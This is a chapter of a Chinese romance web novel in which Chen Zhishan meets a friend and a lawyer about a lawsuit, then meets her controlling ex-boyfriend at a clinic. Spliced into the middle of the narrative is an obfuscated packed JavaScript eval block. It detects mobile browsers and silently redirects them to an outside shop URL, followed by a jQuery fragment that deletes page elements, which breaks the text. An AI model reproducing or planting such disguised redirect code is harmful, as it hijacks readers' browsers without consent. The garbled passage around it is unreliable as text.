这几天陈知善忙完手头的工作和代课课程,抽空去了趟风智高科找乔薇对项目,顺便一起约见乔薇推荐给她的那位曲律师。
乔薇几乎每天在996女强人和超级母亲的身份中高速切换,唯一一会儿做自己的时候只有午休时间,于是两人借着对接校地合作方案的机会,早早溜出公司。
“目前报名的学生多吗?”咖啡馆里,乔薇粗略的扫了眼方案。
上次双院联席会乔薇没去,副总带他们业务主管一起去的,具体情况她还不知道。
陈知善端起咖啡抿了一口,入口醇香,她眯了眯眼:“还行,有五十多个,还要筛选。”
“五十多个里面选五个,确实有点难。现在的竞争压力,比咱们那会儿大多了。”乔薇感慨的将方案放下,抱着胳膊扭头看向窗外。
大二那年,陈知善和乔薇联合两位计算机系的学长一起参加全国大创,选导师、找合作公司全要他们自己一家家跑,没有任何助力,好在当时竞争不算太大,再加上导师给力,他们组成功拿到了国家级项目立项,做的校园服务小程序也卖给了合作公司运营,得到了不菲的佣金。
当时除了一位学长是主创拿的钱最多,其次就是陈知善,她负责最初的创意、前期市场调研,中期的答辩,甚至最后写的程序、敲的代码,都是她和那位学长熬穿了一夜又一夜,赶出来的。
乔薇当时拿到钱就挥霍了,买了最新款的LV包包,但却不知道陈知善把钱花到了哪里,她的穿着一如既往的朴素,只有她那位杀千刀的男朋友回来时,她才会认真的打扮自己,去见他。
“花了。”
上午的阳光穿过玻璃窗,暖绒绒的洒在脸上,陈知善转动着搅拌棒,微微闭起眼睛。
大三那年,陈佳堡和人打架住了院,陈建荣拿不出手术费,又不知道从哪知道了她大赛的小程序卖了出去,直接在校门口跪逼求她,生从她这里拿了七万,最后把家里一套在城乡结合部不能住人的危房移到了她名下,当作交换。
后来她出国留学,没钱交学费,就像上天看她可怜,要恩赐她礼物般,正好遇到有开发商要开发南湾新区,写她名字的那套危房一夜之间被划进了拆迁范围,她这才能拿着这笔钱去留学。
陈建荣一家没占到便宜,这些年一直断断续续和她要钱,她本来也没打算独吞,只将自己当初的那七万块钱留下,剩下的全还给了他们。
他们之间,早已两清。
连同天底下亲缘关系间的业障,也一并清了。她当时想,如果可以,她这辈子都不想回来了。
可世事委实难料。
如今乔薇听她说花了,笑了笑:“那你估计是拿去投资了吧,你一向最有长远眼光的。”
陈知善点头,唇边笑意清淡:“也许是吧。”
两人在咖啡店里坐了会,那位曲律师便准时到了。
金丝边眼镜,一身深灰色商务西装,手里提一只黑色的公文包。
乔薇之前因为老家拆迁的事情联系过这位律师,听说此人专打糊涂官司,对于家庭纠纷最擅长,乔薇虽然不知道陈知善遇到了什么问题,但推曲志华过来,一定没问题。
“曲律,又见面了。”乔薇起身和他握手。
“乔总。”曲志华伸手,“好久不见。”
乔薇给他引荐:“这位是我好友,陈知善,她这儿有份诉讼书,您帮忙看看。”
“麻烦了,曲律。”陈知善伸手。
女人指骨匀长,皮肤白皙,虽然和乔薇一样穿着套装,却依稀可见浓浓的清冷书卷气,到不像乔薇这般女强人。
曲志华与她简单交握,一触即分,藏在镜片后面的一双眼睛,目光探究:“哪个知,哪个善?”
“知道的知,善良的善。”
曲志华微微挑眉,定了一瞬,“麻烦给我看眼材料。”
陈知善打印出来的材料大约有二十多页,曲志华草草翻阅,不孝五分钟,轻蔑一笑——
“再简单不过的家庭纠纷罢了,不至于陈小姐忧心,交给我便是。”
陈知善也懒得管,点点头:“麻烦了。”
曲志华律所还有事,临走时忽然问了陈知善个问题。
“你和林祁是不是认识。”
提到林祁,陈知善这才第一次认真打量他:“他是我朋友。”
“哪种朋友?男女朋友?”
陈知善没回答,只沉默疑惑的看着他。
曲志华也不强问,笑着摆摆手:“先走了,案子有需要再联系陈小姐。”
送走曲志华,乔薇和陈知善又聊了一会儿,余光瞥见她手背上的湿疹,关心问她:“还没好?”
陈知善还在想曲志华刚才的那句话。
林祁认识他吗?她怎么不记得。
“嗯,有点缓慢。”她边说边拿出手机,给林祁发了封邮件。
发完她放下手机,只见对面的乔薇正若有所思的望着自己。
“怎么了?”
“刚才曲律说起林祁,我好像想起来了,这人是不是那个大一把所有生活费打给你的高中同学?”
陈知善倒是没想到乔薇还记得这一茬,点点头:“是他。”
“其实我不太明白....”乔薇欲言又止,几次端起咖啡,又放下,才问出口,“小善,你当初怎么会先开口和他借钱,而不是联系隋白谦啊。”
陈知善微微一愣。
即便过去这么多年,她依然不能坦然面对这个问题。为什么更愿意要林祁的钱。
“因为我和林祁,是同病相连的战友,是一起奋斗过的伙伴,也是在英国相依为命的同胞。”她回答乔薇。
乔薇沉出口气:“那隋白谦呢?”
“他?”
陈知善深吸一口气,有些不知道该怎么说。
这个问题不只是乔薇,隋白谦也问过,即便她解释无数次,自己与林祁只是莫逆之交,隋白谦也不信。
“你当初为什么要找林祁借钱?林祁是富二代吗,他那点生活费连他自己都养不起。你抛下我去找他?!”
她不能和林祁有任何联系,甚至连林祁每年寄给她的生日礼物也都被隋白谦丢进了垃圾桶,就连最后分手那天,他那句“英国到底有谁在”也是一句阴阳般的质问。
陈知善光想起这些事,心口就有如巨石压住般的窒息。
那几年风雪兼程的异国飞机,半月一次的回归日,是爱,也是桎梏枷锁。
她在枷锁里求生,也在枷锁里沉溺,沉溺于他不管不顾的爱,却也知道,他们之间没有未来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099440|195702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
手上倏得传来一阵刺痒,扯回她的思绪,她皱眉低头,伸手挠了挠,才回答乔薇的问题。
“没什么薇薇,也许是因为,比起隋白谦,我和林祁才是一个世界的人。”
乔薇默然,无奈的叹了口气。
/
从咖啡馆出来,乔薇要回公司打卡,陈知善开车前往一家中医馆。
地址恰好离她住的地方不远,开车五公里。
她包里还揣着一块价值千万的百达翡丽,即便她可以咬咬牙丢弃了自己那块带了五六年的手表,也必须将这块还回去。
而隋白谦也明显是这个意思,他不打算放过一个人的时候,总是诸多手段。
停好车,陈知善拎着包下车。
中医馆的装修带点老式风格,有她小时候看的近代剧的感觉,在海边,一座白色房子立在岸上面,门头挂着红底金字“悬壶济世”的匾额,门口一前一后停了两辆车。
陈知善锁好车绕出来,便看见对向的那辆车上也下来一个人。
那人手上绑着绷带,正慢悠悠的抄着兜朝她走过来。
“这么巧,陈教授。”隋白谦气死人不偿命的打声招呼。
陈知善冷静的目光看着他,像想到什么似的,忽然警惕的回头看了眼自己的车。
像一只猫巡视自己的领地般。
隋白谦看懂了,轻笑一声,低头凑近她:“嗯,对,就是你想的那样,我装定位器了。”
陈知善在咖啡馆呆了一上午,此刻身上有浓郁的咖啡味,隋白谦鼻翼轻动了动,声音又落在她耳边:“喝咖啡了么,这么香。”
耳根处温热的气息铺洒过来,陈知善僵着没动,只冷然且略有气恼的看着他。
隋白谦是有恶趣味的,她越躲,他越高兴。
果然,某人见她没反应,目光在她的鲜红欲滴的耳垂和白嫩的脖颈上扫视一番,才轻轻退开一步,正色起来:“想通了,来看湿疹?”
“不是你让我来的?”
“这么听我的话?”
“总好过你告我偷你的名表。”
隋白谦呵笑:“仔细看看,你大二那年生日,我买给你的,怎么成我的名表了,它姓陈。”
那四年隋白谦送了她不少东西,不光是生日,包括传统节假日,或是什么人造节,都是他展示钞能力的时候。
千篇一律不过那些东西,珠宝、名表、甚至房子车子,她向来不打开,说声谢谢便收起来了,最后分手时,一件不落的还给他。
隋白谦见自己心意,她一件都不带都不用,几次气到恶狠狠的吸她的嘴唇舌头:“你究竟想要什么?我给你当挂件行不行!”
陈知善不想陪他回忆这些,只从包里拿出那个红丝绒布袋,递给他:“拿回去,放我这里不合适。”
“它姓陈,怎么不合适。跟我回家才不合适。”
陈知善无奈:“隋白谦,给彼此一条活路不行吗。”
隋白谦鲜少听她说这种话,忍不住笑了,可那笑容只持续了一秒,唇角便落了下来。
他没应她的话,而是率先推开中医馆的门,略微侧头,一副仿佛这么多年他们之间什么都没发生过的口吻:
“进来看手。多少回了还要我管你的湿疹。”